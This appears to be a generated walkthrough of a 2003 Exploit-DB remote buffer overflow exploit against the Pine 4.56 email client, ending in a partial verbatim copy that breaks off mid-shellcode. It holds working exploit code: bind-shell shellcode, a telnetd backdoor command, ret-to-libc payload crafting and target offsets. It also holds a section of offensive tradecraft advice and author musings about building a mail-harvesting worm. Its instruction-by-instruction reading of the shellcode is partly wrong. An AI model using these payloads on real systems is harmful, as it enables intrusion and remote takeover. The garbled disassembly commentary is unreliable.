Pine 4.56 Remote Buffer Overflow Exploit Explained

Pine 4.56 Remote Buffer Overflow Exploit Explained
What this paper is
This paper is an exploit for a remote buffer overflow vulnerability in the Pine email client, specifically versions up to and including 4.56. The exploit, written by "sorbo," demonstrates two methods to gain remote code execution: a standard shellcode approach and a more advanced "ret-to-libc" technique. The author provides C code that crafts a malicious email to be sent to a victim, which, when processed by Pine, triggers the vulnerability.
Simple technical breakdown
The vulnerability lies in how Pine handles certain email content, likely within its parsing or rendering of email messages. When a specially crafted email is opened, it causes a buffer overflow. This overflow allows an attacker to overwrite critical memory locations, including the return address on the stack.
The exploit leverages this overflow to:
- Overwrite the return address: Instead of returning to the legitimate next instruction, the program jumps to attacker-controlled code.
- Execute arbitrary code: The attacker's code, known as shellcode, is injected into the email and executed.
Two methods are presented:
- Method 1 (Easy): This method directly injects shellcode. The overflow is used to redirect execution to this shellcode, which is designed to establish a remote shell (e.g., a bind shell on port 6682).
- Method 2 (Hard/Ret-to-libc): This method is more sophisticated. Instead of injecting shellcode, it overwrites the return address to point to a legitimate function within the C library (libc), specifically
system(). The attacker crafts the stack to pass arguments tosystem(), such as/bin/sh, effectively executing a shell. This method is considered more stealthy as it doesn't directly execute injected shellcode.
The exploit code automates the process of crafting the malicious email, calculating necessary offsets, and preparing the payload. It also includes logic to attempt to determine system-specific offsets and addresses.
Complete code and payload walkthrough
The provided C code is an exploit script that generates a malicious email. Let's break down its components.
1. Header and Includes:
/*
* Mon Sep 15 09:35:01 CEST 2003
*
* (remote?) Pine <= 4.56 exploit
* by sorbo (sorbox yahoo com)
* darkirco
*
* Ok won't talk much about the bug since as usual idefense advisories
* are *proper* advisories and explain everything... exploiting the bug
* is trivial after reading the adv:
* http://www.idefense.com/advisory/09.10.03.txt
*
* There are two ways of doing this:
* 1) standard shellcode
* we don't need offset here because of nature of hole...
* all we need is distance from a variable to eip which is quite fixed
* it is not like we need an "offset somewhere in stack"
* just a relative distance
*
* 2) ret to libc (should work on fbsd too)
* this requires our command string somewhere in memory
* we may use .bss (fixed)
* we also need distance from variable to ebp (quite fixed)
* and we need addr of system (fixed)
* This is "own" grsec since we don't really run a shellcode
* and directly overwrite eip
*
* In both method i said u need the dist from var -> eip/ebp
* this can actually be "bruteforced"
* I didn't show this since this is a PoC and uses "exact offsets"
* All u do is supply multiple charsets and overwrite larger areas of memory
* This makes method 1 100% successfull (or letys say 99.9%)
* (nice for remote exploitation)
*
* Method 2 is "slightly harder" to bruteforce since u must NOT overwrite
* eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda
* gay ;D
*
* With unfallable method one a worm can easily be done...
* shellcode that listens and uploads worm...
* and executes a grep \@ /var/spool/mail/bla or whatever to get emails
* or pine addr book
*
* also for normal "owning" u can use reverse telnetd shellcode
* so u just keep a server up and don't have to "wait" for person
* to launch sploit
*
* Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D))
* non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D)
* e specialmente kuelle ke non me la danno ;D ahahah
*
* #areyoucrazy@ircnet
* (most leet chan... fill it up with ur bots ;D)
*
* and last but not least... the world must know: s0lar TI AMO!!!
*
*
* ok enough... hope this exp is lame enough i wanted to close my summer
* vacation with it and proove the world i had nothing better to do =D
* college is starting c ya
*
* to own remotely: ./sorpine -o 1 -t bla bla com | sendmail -t
*
* Enjoy have fun!
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>- Purpose: Standard C includes for system calls, process control, debugging, file operations, and standard I/O. The comments provide context about the vulnerability, the exploit's methods, and author's notes. The reference to
idefense.com/advisory/09.10.03.txtis crucial for understanding the underlying bug.
2. Constants and Structures:
#define PINE "/usr/bin/pine"
#define PLIST 50 /* a location buff-PLIST that is writable (.bss) */
/* port bind command ;D
* from vi spawn a shell duh...
*
*/
char *lame_cmd =
"/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine";
struct target_info {
char desc[1024];
int method; /* 0 easy , 1 hard */
int dist; /* eip or ebp depending on method */
int buff;
int sys;
};PINE: Defines the expected path to the Pine executable.PLIST: A small buffer size (50 bytes) used in the ret-to-libc method, likely for holding command strings.lame_cmd: A string containing a command to start a telnet daemon (in.telnetd) that usesvias its shell and listens on port 6682. It also attempts to kill any runningpineprocesses. This is part of the payload for the "easy" method.struct target_info: A structure to hold information about different target systems (OS versions).desc: A string describing the target system.method: Indicates the exploit method (0 for easy, 1 for hard).dist: The calculated distance from a vulnerable variable to EIP (for method 0) or EBP (for method 1).buff: The address of a buffer in memory (e.g., in.bss) where the command string forsystem()will be placed in method 1.sys: The address of thesystem()function in libc for method 1.
3. Target Definitions:
/*
* notice to slackware maintainers:
* sorry guyz.. its not that im against u
* its that I only use slack =(
* thats y all my exps only have slack targets ;D
* keep up the good work =D
* plus... its free advertisment for u!
*
*/
struct target_info targets[] = {
{ "Slackware 9.0",0,300,0,0},
{ "Slackware 9.0",1,296,0x083c8f15,0x0804aeda},
{ "Slackware 8.1",0,284,0,0},
{ "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca},
{ "Slackware 8.0",0,284,0,0},
{ "Slackware 8.0",1,280,0x0836d875,0x0804a5ba}
};- Purpose: This array predefines exploit parameters for specific Slackware versions. These are hardcoded offsets and addresses.
- The first entry for each version (
method = 0) uses the "easy" method with adistvalue. - The second entry (
method = 1) uses the "hard" ret-to-libc method, providing adist(distance to EBP), abuffaddress (where the command string will be), and asysaddress (thesystem()function address). - The author notes that these are specific to Slackware and his system setup.
- The first entry for each version (
4. Non-Usable Characters and Shellcode:
/*
* Non usable chars in egg (sc and various addrs)
*
*/
char nonusable[] = "\x09\x0a\x0d\x28\x29\x5c";
/*
* lame (but working??) modification of sorshell
* no setsockopt() =((( too long
* portbinding shellcode with terminal support
* (if whatever i said makes sense)
* port 6682
* telnet ip 6682
* ^]
* telnet> mode character
*
* funny how my ret to libc does the same thing and its 0 byte shellcode ;D
*
*/
char shellcode[] =
"\x31\xc9\xf7\xe1\xb0\x02\xcd\x80\x39\xc8\x74\x05\x31\xc0\x40\xcd\x80\x31"
"\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1\xcd\x80\x89"
"\xc2\x31\xdb\x53\x66\xb9\x1a\x1a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10"
"\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x52\x89\xe1\xb0\x66\xb3"
"\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80\x89\xc7\x89"
"\xd3\x89\xc1\xb0\x06\x89\xc8\x31\xd2\x52\x68\x70\x74\x6d\x78\x68\x64\x65"
"\x76\x2f\x68\x2f\x2f\x2f\x2f\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc6\x52\x89\xe2\xb9\x31\x54\x04\x40\x89\xf3\xb0\x36\xcd\x80\x89\xe2\xb9"
"\x30\x54\x04\x80\xb0\x36\xcd\x80\x59\x83\xc1\x30\xc1\xe1\x18\xba\x01\x74"
"\x73\x2f\xc1\xea\x08\x01\xca\x31\xc9\x51\x52\x31\xd2\x68\x65\x76\x2f\x70"
"\x68\x2f\x2f\x2f\x64\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc2\xb0\x02\xcd"
"\x80\x31\xc9\x39\xc8\x75\x3f\xb0\x42\xcd\x80\xb1\x03\x31\xc0\x89\xd3\xb0"
"\x3f\x49\xcd\x80\x41\xe2\xf8\x89\xd3\xb0\x06\xcd\x80\x89\xf3\xb0\x06\xcd"
"\x80\x89\xfb\xb0\x06\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x89\xd3"
"\x31\xc0\xb0\x06\xcd\x80\x83\xec\x50\x31\xc9\xf7\xe1\x31\xdb\x89\xf9\x43"
"\xd3\xe3\x01\xd8\x89\xf1\x31\xdb\x43\xd3\xe3\x01\xd8\x50\x89\xda\x89\xcb"
"\x43\x89\xe1\x52\x57\x56\x31\xff\x31\xf6\x31\xc0\x99\xb0\x8e\xcd\x80\x5e"
"\x5f\x5b\x58\x21\xd8\x31\xdb\x39\xc3\x75\x1b\xb2\x50\x89\xe1\x89\xfb\x31"
"\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c\x26\x89\xc2\x89\xf3\xb0\x04\xcd\x80"
"\xeb\xad\xb2\x50\x89\xe1\x89\xf3\x31\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c"
"\x0b\x90\x89\xc2\x89\xfb\xb0\x04\xcd\x80\xeb\x91\x31\xc0\x40\xcd\x80";nonusable: An array of characters that cannot be used in the shellcode or addresses. This is common in shellcode to avoid null bytes or characters that might terminate strings prematurely or be filtered by network devices.shellcode: This is the actual machine code for the "easy" method. It's a bind shell.- Stage 1: Socket Creation and Binding:
\x31\xc9\xf7\xe1: XOR EAX, EAX (clear EAX).\xb0\x02\xcd\x80:mov al, 0x2; int 0x80(syscallsocket(AF_INET, SOCK_STREAM, 0)).\x39\xc8\x74\x05\x31\xc0\x40\xcd\x80: Loop to check if socket creation failed. Ifeax(socket descriptor) is 0, it means failure, so it exits.\x31\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1\xcd\x80:mov al, 0x6; push 1; push 2; mov bl, al; push 0x66; mov ecx, esp; int 0x80(syscallbind(sockfd, &sockaddr, sizeof(sockaddr))). It sets up a sockaddr structure with port 6682 (0x1a1areversed).
- Stage 2: Listening:
\x89\xc2\x31\xdb\x53\x66\xb9\x1a\x1a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80: Sets up the backlog forlisten().\x6a\x01\x52\x89\xe1\xb0\x66\xb3\x04\xcd\x80:mov al, 0x6; push 4; mov ecx, esp; int 0x80(syscalllisten(sockfd, backlog)).
- Stage 3: Accepting Connection:
\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80:mov al, 0x6; push 0; push 0; push edx; mov ecx, esp; int 0x80(syscallaccept(sockfd, NULL, NULL)). This will return a new socket descriptor for the client connection.
- Stage 4: Duplicating File Descriptors (stdin, stdout, stderr to socket):
\x89\xc7\x89\xd3\x89\xc1\xb0\x06\x89\xc8\x31\xd2\x52\x68\x70\x74\x6d\x78\x68\x64\x65\x76\x2f\x68\x2f\x2f\x2f\x2f\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80: This section seems to be setting up fordup2calls. It prepares arguments and syscall numbers.- The subsequent
dup2calls are implicitly handled by the structure of the shellcode, aiming to redirect standard input, output, and error to the accepted client socket. The sequence ofmov al, 0x3f(dup2) and pushing file descriptors (0, 1, 2) onto the stack is typical.
- Stage 5: Executing Shell:
- The shellcode then prepares to execute
/bin/sh. It usesexecvesyscall. \x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80: Pushes/bin/shand then callsexecve("/bin/sh", ["/bin/sh", NULL], NULL).- The
\x31\xc0\x40\xcd\x80at the end is likely a fallback or error handler, possibly exiting.
- The shellcode then prepares to execute
- Stage 1: Socket Creation and Binding:
5. Test Shellcode:
/* cause a break and have a "test" number to check */
char testsc[] = "\xcc\x01\x02\x03\x04";testsc: This is a small sequence of bytes used for debugging and offset calculation.\xcc:INT 3(breakpoint instruction).\x01\x02\x03\x04: A placeholder value. Thetest_dist()function checks if the instruction at the calculated EIP matches this value after a breakpoint.
6. struct bss:
struct bss {
int start;
int end;
};- Purpose: A simple structure to hold the start and end addresses of the
.bsssection of the Pine executable. This section is typically writable and initialized to zero.
7. mail Buffer:
char mail[6666]; /* this is basically the "egg" */mail: A large buffer (6666 bytes) that will be populated with the crafted email content, including the exploit payload. This is referred to as the "egg."
8. Utility Functions:
die(int i, char *m):- Purpose: A helper function to print an error message and exit. If
iis true, it usesperrorto print a system error; otherwise, it prints a custom message.
- Purpose: A helper function to print an error message and exit. If
prepare_mail(char *from, char *sub, char *to):- Purpose: Initializes the
mailbuffer with standard email headers (From, Subject, To, MIME headers). This sets up the structure for the multipart email that will carry the exploit.
- Purpose: Initializes the
num(int dist):- Purpose: This is a clever, albeit "dirty," function to calculate a specific unsigned integer value. It takes a
dist(distance) and returns0xffffffff + ((-1-dist)/4)*(-1). The goal is to produce a value that, when interpreted as a signed integer and multiplied by 4 (as done insprintfwith%u), results in the correct negative offset needed to overwrite a return address or EBP. This is a way to encode the distance into a specific byte pattern that might be less likely to contain forbidden characters.
- Purpose: This is a clever, albeit "dirty," function to calculate a specific unsigned integer value. It takes a
own_hard(int sys, int plist, int cmd, int dist, char *command):- Purpose: Prepares the payload for the "hard" ret-to-libc method.
- It constructs a buffer (
egg) on the stack (or a similar writable memory region). - This buffer is populated with:
0x41414141: Placeholder for EBP.sys: The address of thesystem()function.plist: The address where the command string (e.g.,/bin/sh) will be located. This is often the.bsssection.cmd: The address of the command string itself.0: A null terminator.
- This structure is then placed onto the stack, and the return address is overwritten to point to
sys(thesystem()function). Whensystem()is called, it will use the crafted stack frame to execute the command. - The
sprintfcall formats thisegginto the email body, usingnum(dist)to calculate the required padding to reach the return address.
own_easy(int dist, char *s):- Purpose: Prepares the payload for the "easy" shellcode method.
- It takes the calculated
distand the shellcodes. - It formats the shellcode into the email body using
sprintf, again usingnum(dist)for padding. Thecharset*%u*format specifier is used to insert the calculated padding.
pinerc():- Purpose: Creates a temporary Pine configuration file (
/tmp/pinerc). - It forks a process to run
pine -p /tmp/pinerc. - The child process is immediately killed after a short delay. This is a technique to ensure Pine creates a default
pinercfile if one doesn't exist or to manipulate its contents. - It then modifies
/tmp/pinercto setinbox-path=/tmp/meil, which is likely a way to trick Pine into writing the malicious email content to a specific file that the exploit can then process.
- Purpose: Creates a temporary Pine configuration file (
write_mail(char *path):- Purpose: Writes the contents of the global
mailbuffer to a specified file path. This file is intended to be the actual email file thatsendmailwill process.
- Purpose: Writes the contents of the global
getty(int *master, int *slave):- Purpose: A utility function to obtain a pseudo-terminal (pty). This is used by the debugging functions to provide a terminal for Pine to interact with, preventing ncurses from messing up the console output during debugging.
start_debug(int cont):- Purpose: Starts the Pine process under
ptracefor debugging. - It sets up a pseudo-terminal using
getty. - It forks a child process. The child executes
pinewith specific arguments (-p /tmp/pinerc,-I "l,>,>,<,<,q,y"). The-Iargument likely controls Pine's interactive behavior. - The child process calls
ptrace(PTRACE_TRACEME, ...)to allow the parent to trace it. - The child's standard input is redirected to the pseudo-terminal slave.
- If
contis true, the parent process continues the child (ptrace(PTRACE_CONT, ...)), and then waits for it to stop again. - Returns the PID of the traced process.
- Purpose: Starts the Pine process under
stop_debug(int pid):- Purpose: Stops the debugged process by sending it a
SIGKILLsignal viaptrace(PTRACE_KILL, ...).
- Purpose: Stops the debugged process by sending it a
test_dist():- Purpose: This function attempts to find the correct
dist(stack distance) for the "easy" exploit method. - It starts Pine under
ptrace(start_debug(1)). - It retrieves the current EIP (
regs.eip). - It reads the instruction at EIP using
ptrace(PTRACE_PEEKTEXT, ...). - It compares this instruction with the first few bytes of
testsc(\x01\x02\x03\x04). The\xcc(breakpoint) is expected to be at the EIP before the overflow. The function is looking for the instruction after the overflow, which should be the start of the injected shellcode. - It iterates through possible
distvalues (from 4 to 1024 in increments of 4) in thegetTarget()function, callingown_easywithtestscand thentest_distto find thedistwhere the instruction at EIP matches the expected value.
- Purpose: This function attempts to find the correct
getShit(char *cmd):- Purpose: Executes a shell command using
popenand returns the first line of its output. Used to get addresses and paths.
- Purpose: Executes a shell command using
getInt(char *p):- Purpose: Executes a command using
getShitand parses the output as a hexadecimal integer. Used to obtain memory addresses.
- Purpose: Executes a command using
getbss():- Purpose: Uses
objdumpandawkto find the start and end addresses of the.bsssection for thePINEexecutable. This section is often used to store data that needs to be writable.
- Purpose: Uses
findbuf(int ebp):- Purpose: Attempts to find a suitable buffer location in the
.bsssection for the ret-to-libc method. - It first calls
own_hardto craft a mail with a dummysystem()address and a placeholder command (0x12345678). - It then starts Pine under
ptrace(start_debug(1)). - It checks if EIP has been overwritten to the expected dummy address (
0x41414141). - It iterates through the
.bsssection, looking for the placeholder command address (0x12345678). If found, it returns the address of that location. This address will be used to store the actual command string (e.g.,/bin/sh).
- Purpose: Attempts to find a suitable buffer location in the
getSystem():- Purpose: Dynamically determines the address of the
system()function in the loaded C library (libc). - It uses
lddto find the base address of libc. - It uses
objdump -Ton the libc library to find the offset ofsystem(). - It adds the base address and the offset to get the absolute address of
system().
- Purpose: Dynamically determines the address of the
isUsable(int x):- Purpose: Checks if an integer
xcontains any of thenonusablecharacters. This is important for addresses used in the ret-to-libc method, as they must not contain forbidden bytes.
- Purpose: Checks if an integer
getSystemOffsets():- Purpose: Gathers various addresses related to
system():off[0]: Address ofsystem()from libc (usinggetSystem()).off[1]: Address ofsystem()fromobjdump -T PINE. This might be a stub or a direct call within Pine itself.off[2]: Address ofsystem()fromobjdump -R PINE. This is likely a relocation entry.
- It also uses
ptraceto read the actual instruction at the address found inoff[2]to get the final target address.
- Purpose: Gathers various addresses related to
getTarget():- Purpose: The main function for determining exploit parameters for the current system.
- It gets the OS and Pine version to describe the target.
- It calls
pinerc()to prepare the environment. - It iterates through possible
distvalues, callingown_easywithtestscandtest_distto find the correct stack distance for the "easy" method. - If successful, it attempts to find a buffer in
.bssfor the "hard" method usingfindbuf. - If a buffer is found, it proceeds to find usable
system()addresses usinggetSystemOffsets. - It prints a summary of the discovered target information.
skriptkiddie_s0lar():- Purpose: The main execution function that orchestrates the exploit.
- It prints a warning about required write access and the use of GDB.
- It calls
getTarget()to gather system-specific exploit details. - It retrieves the
MAILenvironment variable, which is expected to point to the victim's mailbox file (e.g.,/var/mail/username). - It opens this mailbox file in append mode.
- First Mail (Easy Method):
- It calls
prepare_mailandown_easywith theshellcode. - It writes the crafted email to the mailbox file.
- It calls
- Second Mail (Hard Method):
- The code snippet is truncated here, but it would proceed to call
prepare_mailandown_hardwith the calculatedsysaddress,buffaddress, anddist. - It would then write this second malicious email to the mailbox file.
- The comment mentions using
viand:!/bin/shas a fallback if there isn't enough space for a bindshell, indicating a potential alternative payload for the hard method.
- The code snippet is truncated here, but it would proceed to call
Mapping List:
prepare_mail()-> Initializes email headers.num(dist)-> Calculates padding for the exploit payload.own_easy(dist, s)-> Formats shellcode into email for method 1.own_hard(sys, plist, cmd, dist, command)-> Formats ret-to-libc payload into email for method 2.pinerc()-> Creates/modifies Pine's config to redirect mail.write_mail(path)-> Writes the final email content to a file.start_debug(cont)-> Starts Pine under ptrace for analysis.stop_debug(pid)-> Stops the ptrace'd process.test_dist()-> Finds the stack distance for method 1.getShit(cmd)-> Executes a command and returns its output.getInt(p)-> Executes a command and parses its output as an integer (address).getbss()-> Finds the.bsssection addresses of Pine.findbuf(ebp)-> Locates a writable buffer in.bssfor method 2.getSystem()-> Finds the address ofsystem()in libc.isUsable(x)-> Checks if an address contains forbidden characters.getSystemOffsets()-> Gathers potentialsystem()addresses.getTarget()-> Orchestrates discovery of exploit parameters.skriptkiddie_s0lar()-> Main function to generate and send the exploit email.shellcode-> The actual machine code for the bind shell payload.lame_cmd-> The command string used by the bind shell.testsc-> Payload for testing stack distance.
Practical details for offensive operations teams
- Required Access Level: Low privilege on the target system is sufficient if the exploit is delivered via email and the victim opens it. The exploit itself doesn't require elevated privileges on the victim's machine to execute. However, to run the exploit script, the attacker needs a system capable of sending email (or writing to a local mailbox file that will be processed by
sendmail). - Lab Preconditions:
- A Linux environment with Pine installed (version <= 4.56).
- Development tools (GCC, make) to compile the exploit.
objdump,ldd,awk,grep,trutilities for address/offset discovery.sendmailor equivalent MTA configured to send mail to the target.- A target machine running a vulnerable Pine version.
- The attacker needs to know the target user's mailbox file path (e.g.,
/var/mail/username) or have a way to deliver the crafted email to it.
- Tooling Assumptions:
- The exploit script is written in C and requires compilation.
- It relies heavily on external Linux utilities (
objdump,ldd,awk,grep,tr) for dynamic analysis of the target system's binaries and libraries. ptraceis used extensively for debugging and offset calculation.sendmailis assumed to be available for delivering the exploit.
- Execution Pitfalls:
- Hardcoded Offsets: The
targets[]array contains hardcoded addresses and offsets specific to the author's environment (Slackware versions, Pine build, libc version, memory layout). These will not work on other systems without modification or dynamic discovery. - Dynamic Discovery Failures: The functions like
getbss,getSystem,findbuf, andtest_distrely on parsing the output of external commands. Changes in command output format, presence of security mitigations (like ASLR, though less prevalent in 2003), or different library versions can cause these functions to fail. isUsable()Check: TheisUsable()function is critical for the ret-to-libc method. If the calculated addresses forsystem()or the command buffer contain forbidden characters, the exploit will fail. The author notes this as a potential issue ("TODO: addr not usuable... trivial to fix") but doesn't implement a robust solution.- Race Conditions: The exploit relies on the victim opening the email. If the victim doesn't open it or if Pine is updated before they do, the exploit fails. The
sleep(1)inpinerc()andsleep(1)inskriptkiddie_s0lar()for sending the second mail are very short and might not be reliable on slower systems. - Email Delivery: The exploit assumes the crafted email can be delivered to the target's mailbox file and that Pine will process it. Network configurations, spam filters, or alternative email clients could interfere.
ptraceRestrictions: Modern systems often have stricter controls onptraceusage, which could prevent the debugging functions from working.- Payload Size: The
shellcodeis relatively large. If the overflow buffer is small, it might not fit. The ret-to-libc method is more compact in terms of payload size.
- Hardcoded Offsets: The
- Tradecraft Considerations:
- Reconnaissance: Crucial to identify the exact version of Pine and the OS. The exploit is highly version-specific.
- Payload Customization: The hardcoded targets are a major weakness. A real-world attacker would need to automate or manually adjust offsets for each target environment.
- Delivery Mechanism: Sending via
sendmaildirectly to a mailbox is a classic method. Alternatively, the attacker could craft a file and deliver it via other means if the victim is tricked into executing it. - Stealth: The ret-to-libc method is stealthier as it uses existing library functions, leaving less unique "fingerprint" than raw shellcode.
- Post-Exploitation: The bind shell on port 6682 is noisy. A reverse shell would be more discreet. The
lame_cmdalso attempts to kill Pine, which might be noticeable.
Where this was used and when
- Timeframe: The exploit was published on September 16, 2003. The vulnerability itself was likely discovered shortly before this, as indicated by the reference to an iDEFENSE advisory dated September 10, 2003.
- Usage Context:
- Academic/Proof-of-Concept: The author explicitly states this is a "PoC" and intended to "close my summer vacation." The detailed explanation and the inclusion of dynamic discovery functions suggest an educational purpose.
- Potential for Worms: The author muses about the potential for creating a worm using the "unfallable method one" (shellcode), which would involve scanning for emails and spreading.
- Remote Exploitation: The primary use case is remote code execution on a server running a vulnerable Pine client.
- Targeted Attacks: Given the specific Slackware targets, it was likely tested and intended for environments running those distributions.
It's difficult to pinpoint specific large-scale attacks using this exact exploit in the wild. However, vulnerabilities in widely used client software like Pine were common targets for attackers in the early 2000s, often leading to widespread compromise if weaponized effectively.
Defensive lessons for modern teams
- Patch Management: The most critical lesson. Keeping software, especially client applications like email clients, updated to the latest stable versions is paramount. This exploit targets a known, old vulnerability.
- Input Validation and Sanitization: Developers must rigorously validate and sanitize all user-supplied input, especially when processing external data formats like email content. This includes checking buffer boundaries, character sets, and expected data types.
- Secure Coding Practices: Avoid common pitfalls like using
strcpywithout bounds checking. Use safer alternatives likestrncpyorsnprintf. Understand memory management and stack layout. - Exploit Mitigation Techniques:
- ASLR (Address Space Layout Randomization): Makes it harder for attackers to guess addresses of libraries and functions (like
system()). While not explicitly mentioned as a defense in 2003, it's standard today. - DEP/NX (Data Execution Prevention/No-Execute): Prevents code execution from data segments (like the stack or heap), making direct shellcode injection much harder.
- Stack Canaries: Detect buffer overflows by placing a random value on the stack that is checked before a function returns. If the value is corrupted, it indicates an overflow.
- ASLR (Address Space Layout Randomization): Makes it harder for attackers to guess addresses of libraries and functions (like
- Network Segmentation and Firewalls: Limiting direct access to services and segmenting networks can prevent an attacker from easily reaching vulnerable services.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect patterns associated with exploit attempts, including malformed network traffic or known shellcode signatures.
- Email Security Gateways: Advanced email security solutions can scan inbound emails for malicious content, scripts, or known exploit patterns before they reach the user's inbox.
- Principle of Least Privilege: Running applications with the minimum necessary privileges reduces the impact of a successful exploit. If Pine were running as a non-privileged user, even a successful exploit would have limited ability to affect the system.
ASCII visual (if applicable)
This exploit primarily manipulates memory and network communication. A simple visual representation of the stack overflow is applicable.
+-----------------+
| ... |
+-----------------+
| Return Address | <--- Overwritten by attacker's code/address
+-----------------+
| Saved EBP | <--- Can also be overwritten (method 2)
+-----------------+
| Function Args |
+-----------------+
| Local Variables |
| (Vulnerable |
| Buffer) | <--- Overflow starts here
+-----------------+
| ... |
+-----------------+Explanation:
- The vulnerable buffer is allocated on the stack.
- When the buffer is overflowed, data spills over into adjacent stack memory.
- Crucially, it overwrites the Return Address.
- The exploit crafts this overwritten Return Address to point to either:
- The injected shellcode (Method 1).
- A legitimate function like
system()in libc (Method 2), with the stack prepared to pass arguments to it.
Source references
- Paper ID: 99
- Paper Title: Pine 4.56 - Remote Buffer Overflow
- Author: sorbo
- Published: 2003-09-16
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/99
- Raw URL: https://www.exploit-db.com/raw/99
- Underlying Vulnerability Advisory: iDEFENSE Advisory 09.10.03.txt (referenced in the exploit comments).
Original Exploit-DB Content (Verbatim)
/*
* Mon Sep 15 09:35:01 CEST 2003
*
* (remote?) Pine <= 4.56 exploit
* by sorbo (sorbox yahoo com)
* darkirco
*
* Ok won't talk much about the bug since as usual idefense advisories
* are *proper* advisories and explain everything... exploiting the bug
* is trivial after reading the adv:
* http://www.idefense.com/advisory/09.10.03.txt
*
* There are two ways of doing this:
* 1) standard shellcode
* we don't need offset here because of nature of hole...
* all we need is distance from a variable to eip which is quite fixed
* it is not like we need an "offset somewhere in stack"
* just a relative distance
*
* 2) ret to libc (should work on fbsd too)
* this requires our command string somewhere in memory
* we may use .bss (fixed)
* we also need distance from variable to ebp (quite fixed)
* and we need addr of system (fixed)
* This is "own" grsec since we don't really run a shellcode
* and directly overwrite eip
*
* In both method i said u need the dist from var -> eip/ebp
* this can actually be "bruteforced"
* I didn't show this since this is a PoC and uses "exact offsets"
* All u do is supply multiple charsets and overwrite larger areas of memory
* This makes method 1 100% successfull (or letys say 99.9%)
* (nice for remote exploitation)
*
* Method 2 is "slightly harder" to bruteforce since u must NOT overwrite
* eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda
* gay ;D
*
* With unfallable method one a worm can easily be done...
* shellcode that listens and uploads worm...
* and executes a grep \@ /var/spool/mail/bla or whatever to get emails
* or pine addr book
*
* also for normal "owning" u can use reverse telnetd shellcode
* so u just keep a server up and don't have to "wait" for person
* to launch sploit
*
* Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D))
* non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D)
* e specialmente kuelle ke non me la danno ;D ahahah
*
* #areyoucrazy@ircnet
* (most leet chan... fill it up with ur bots ;D)
*
* and last but not least... the world must know: s0lar TI AMO!!!
*
*
* ok enough... hope this exp is lame enough i wanted to close my summer
* vacation with it and proove the world i had nothing better to do =D
* college is starting c ya
*
* to own remotely: ./sorpine -o 1 -t bla bla com | sendmail -t
*
* Enjoy have fun!
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PINE "/usr/bin/pine"
#define PLIST 50 /* a location buff-PLIST that is writable (.bss) */
/* port bind command ;D
* from vi spawn a shell duh...
*
*/
char *lame_cmd =
"/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine";
struct target_info {
char desc[1024];
int method; /* 0 easy , 1 hard */
int dist; /* eip or ebp depending on method */
int buff;
int sys;
};
/*
* notice to slackware maintainers:
* sorry guyz.. its not that im against u
* its that I only use slack =(
* thats y all my exps only have slack targets ;D
* keep up the good work =D
* plus... its free advertisment for u!
*
*/
struct target_info targets[] = {
{ "Slackware 9.0",0,300,0,0},
{ "Slackware 9.0",1,296,0x083c8f15,0x0804aeda},
{ "Slackware 8.1",0,284,0,0},
{ "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca},
{ "Slackware 8.0",0,284,0,0},
{ "Slackware 8.0",1,280,0x0836d875,0x0804a5ba}
};
/*
* Non usable chars in egg (sc and various addrs)
*
*/
char nonusable[] = "\x09\x0a\x0d\x28\x29\x5c";
/*
* lame (but working??) modification of sorshell
* no setsockopt() =((( too long
* portbinding shellcode with terminal support
* (if whatever i said makes sense)
* port 6682
* telnet ip 6682
* ^]
* telnet> mode character
*
* funny how my ret to libc does the same thing and its 0 byte shellcode ;D
*
*/
char shellcode[] =
"\x31\xc9\xf7\xe1\xb0\x02\xcd\x80\x39\xc8\x74\x05\x31\xc0\x40\xcd\x80\x31"
"\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1\xcd\x80\x89"
"\xc2\x31\xdb\x53\x66\xb9\x1a\x1a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10"
"\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x52\x89\xe1\xb0\x66\xb3"
"\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80\x89\xc7\x89"
